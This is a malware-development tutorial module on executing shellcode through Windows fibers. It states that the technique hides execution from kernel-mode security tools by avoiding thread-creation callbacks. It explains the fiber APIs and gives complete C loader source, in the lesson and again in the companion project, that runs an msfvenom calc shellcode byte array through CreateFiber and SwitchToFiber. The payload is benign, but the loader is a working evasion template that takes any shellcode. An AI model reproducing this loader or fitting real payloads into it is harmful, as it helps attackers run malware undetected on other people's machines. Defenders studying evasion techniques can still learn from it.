MalDev Study
Advanced Module 33advanced4 code files

Utilizing Fibers For Payload Execution

Up until this module, utilizing threads was the primary mechanism used for executing functions and tasks within a process. Nevertheless, an alternative method exists using Fibers.

Jump to Section (8)

Introduction

Up until this module, utilizing threads was the primary mechanism used for executing functions and tasks within a process. Nevertheless, an alternative method exists using Fibers.

A Fiber as Microsoft describes it in its documentation is a unit of execution that the application must manually schedule. In other words, Fibers are handled by the user- mode application and not by the Windows kernel, unlike threads which are handled by the Windows kernel. Therefore, executing tasks through fibers is hidden from kernel mode security solutions and won't trigger callbacks that are normally invoked at thread creation.

Required WinAPIs

The following WinAPIs will be used to execute tasks using fibers.

  • ConvertThreadToFiber Converts the current thread into a fiber. You must convert a thread into a fiber before you can schedule other fibers. This is required because only fibers can execute other fibers. Therefore, if a thread needs to execute a fiber, it must first call ConvertThreadToFiber.
  • CreateFiber Creates the fiber object, assigns its stack and sets it up for execution. However, CreateFiber does not schedule the fiber for execution. SwitchToFiber Schedules a fiber for execution. SwitchToFiber will only work when called from a fiber and will not work if it is called from a thread. ConvertFiberToThread Converts the current fiber into a thread.
  • DeleteFiber Deletes an existing fiber.

Creating a Fiber

As mentioned, in order to create a fiber the CreateFiber WinAPI must be used. If the function succeeds, CreateFiber returns the address of the fiber created.

CPP
LPVOID CreateFiber(
  [in]           SIZE_T                dwStackSize,        // Set to 0 - default
  [in]           LPFIBER_START_ROUTINE lpStartAddress,     // A pointer to the function to be executed by the fiber
  [in, optional] LPVOID                lpParameter         // A pointer to a variable that is passed to the fiber
);

CreateFiber is similar to CreateThread, however, unlike CreateThread, CreateFiber does not directly execute the code starting at the lpStartAddress parameter. Instead, it only creates the fiber's object and stack, with execution being initiated manually using SwitchToFiber.

Executing a Fiber

Executing a fiber is done using the SwitchToFiber WinAPI that accepts the address of the fiber. The address of the fiber is retrieved after calling CreateFiber. The SwitchToFiber WinAPI is shown below.

CPP
void SwitchToFiber(
  [in] LPVOID lpFiber   // The address of the fiber to be scheduled, returned by "CreateFiber"
);

Recall that only fibers can execute fibers. Therefore to execute a fiber, a thread must be converted to a fiber via SwitchToFiber, which is discussed in the following section.

Converting a Thread To a Fiber

Converting a thread to a fiber is done using the ConvertThreadToFiber WinAPI. ConvertThreadToFiber will return the fiber's created address which is often referred to as the primary fiber. The primary fiber is the first fiber created in a process and serves as the starting point for the execution of other fibers.

CPP
LPVOID ConvertThreadToFiber(
  [in, optional] LPVOID lpParameter  // A pointer to a variable that is passed to the fiber
);

After calling ConvertThreadToFiber, it becomes possible to use the SwitchToFiber WinAPI to execute the fiber.

Deleting a Fiber

Deleting a fiber is done by calling the DeleteFiber WinAPI. DeleteFiber will delete all the associated data of the target fiber including its stack. DeleteFiber takes one parameter, lpFiber, which represents the address of the fiber to be deleted.

CPP
void DeleteFiber(
  [in] LPVOID lpFiber  // The address of the fiber to be deleted.
);

Executing Shellcode Via Fibers Demo

The following code makes use of the CreateFiber, ConvertThreadToFiber, and SwitchToFiber WinAPIs to execute an x64 Msfvenom calc shellcode without creating a new thread.

ASM
#include <Windows.h>
#include <stdio.h>

#pragma section(".text")
__declspec(allocate(".text")) const unsigned char Rawx64CalcShellcode[] = {
    0x53, 0x56, 0x57, 0x55, 0x54, 0x58, 0x66, 0x83, 0xE4, 0xF0, 0x50, 0x6A,
    0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x29, 0xD4,
    0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 0x10,
    0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C,
    0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B,
    0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81,
    0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C,
    0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7,
    0x48, 0x83, 0xC4, 0x68, 0x5C, 0x5D, 0x5F, 0x5E, 0x5B, 0xC3
};

int main() {

    LPVOID  PrimaryFiberAddress      = NULL,
            ShellcodeFiberAddress    = NULL;

    // Create a fiber object, stack, and set up execution to begin at the specified start address (Rawx64CalcShellcode). This fiber is not yet sche
duled for execution.
    if (!(ShellcodeFiberAddress = CreateFiber(0x00, (LPFIBER_START_ROUTINE)Rawx64CalcShellcode, NULL))) {
        printf("[!] CreateFiber Failed With Error: %d \n", GetLastError());
        return -1;
    }

    // Converts the current (main) thread into a fiber
    if (!(PrimaryFiberAddress = ConvertThreadToFiber(NULL))) {
        printf("[!] ConvertThreadToFiber Failed With Error: %d \n", GetLastError());
        return -1;
    }

    // Schedules the shellcode fiber. "SwitchToFiber" can only be called from another fiber, which is in this case the 'PrimaryFiberAddress' fiber.
    SwitchToFiber(ShellcodeFiberAddress);
}

Demo

The following image shows the results of the code being executed.

Utilizing Fibers For Payload Execution figure
Diagram

Companion Project & Source Code

4 readable source/config files extracted directly from the archive

Download Module 33 - PayloadExecViaFibers.zip
1.9 KB
// @NUL0x4C | @mrd0x : MalDevAcademy

#include <Windows.h>
#include <stdio.h>

/*
	https://learn.microsoft.com/en-us/windows/win32/procthread/using-fibers
*/

#pragma section(".text")
__declspec(allocate(".text")) const unsigned char Rawx64CalcShellcode[] = {
	0x53, 0x56, 0x57, 0x55, 0x54, 0x58, 0x66, 0x83, 0xE4, 0xF0, 0x50, 0x6A,
	0x60, 0x5A, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x48, 0x29, 0xD4,
	0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, 0x18, 0x48, 0x8B, 0x76, 0x10,
	0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, 0x7E, 0x30, 0x03, 0x57, 0x3C,
	0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, 0x20, 0x48, 0x01, 0xFE, 0x8B,
	0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, 0x8D, 0x52, 0x02, 0xAD, 0x81,
	0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, 0xEF, 0x8B, 0x74, 0x1F, 0x1C,
	0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, 0x01, 0xF7, 0x99, 0xFF, 0xD7,
	0x48, 0x83, 0xC4, 0x68, 0x5C, 0x5D, 0x5F, 0x5E, 0x5B, 0xC3
};



int main() {

	LPVOID	PrimaryFiberAddress			= NULL,
			ShellcodeFiberAddress		= NULL;

	// Create a fiber object, stack, and set up execution to begin at the specified start address (Rawx64CalcShellcode). This fiber is not yet scheduled for execution.
	if (!(ShellcodeFiberAddress = CreateFiber(0x00, (LPFIBER_START_ROUTINE)Rawx64CalcShellcode, NULL))) {
		printf("[!] CreateFiber Failed With Error: %d \n", GetLastError());
		return -1;
	}

	printf("[i] Shellcode Fiber Created At Address : 0x%p \n", ShellcodeFiberAddress);

	// Converts the current (main) thread into a fiber
	if (!(PrimaryFiberAddress = ConvertThreadToFiber(NULL))) {
		printf("[!] ConvertThreadToFiber Failed With Error: %d \n", GetLastError());
		return -1;
	}

	printf("[i] Primary Fiber Created At Address : 0x%p \n", PrimaryFiberAddress);


	// Schedules the shellcode fiber. "SwitchToFiber" can only be called from another fiber, which is in this case the 'PrimaryFiberAddress' fiber.
	SwitchToFiber(ShellcodeFiberAddress);
}

Full Archive Manifest (5 files inside .zip)
  • PayloadExecViaFibers/PayloadExecViaFibers.sln
  • PayloadExecViaFibers/PayloadExecViaFibers/PayloadExecViaFibers.vcxproj
  • PayloadExecViaFibers/PayloadExecViaFibers/PayloadExecViaFibers.vcxproj.filters
  • PayloadExecViaFibers/PayloadExecViaFibers/PayloadExecViaFibers.vcxproj.user
  • PayloadExecViaFibers/PayloadExecViaFibers/main.c

Search all modules and companion code

No matching modules or source files found for “”.
    Covers all 91 Core + 38 Advanced modules + source archives

    Reader Settings & Progress

    Color Theme

    Reading Font Size

    Study Progress & Cross-Device Backup

    0/129
    Completed
    0
    Bookmarked
    0
    Module Notes

    Progress is saved locally in your browser. Export a JSON backup to move your progress between laptop and phone.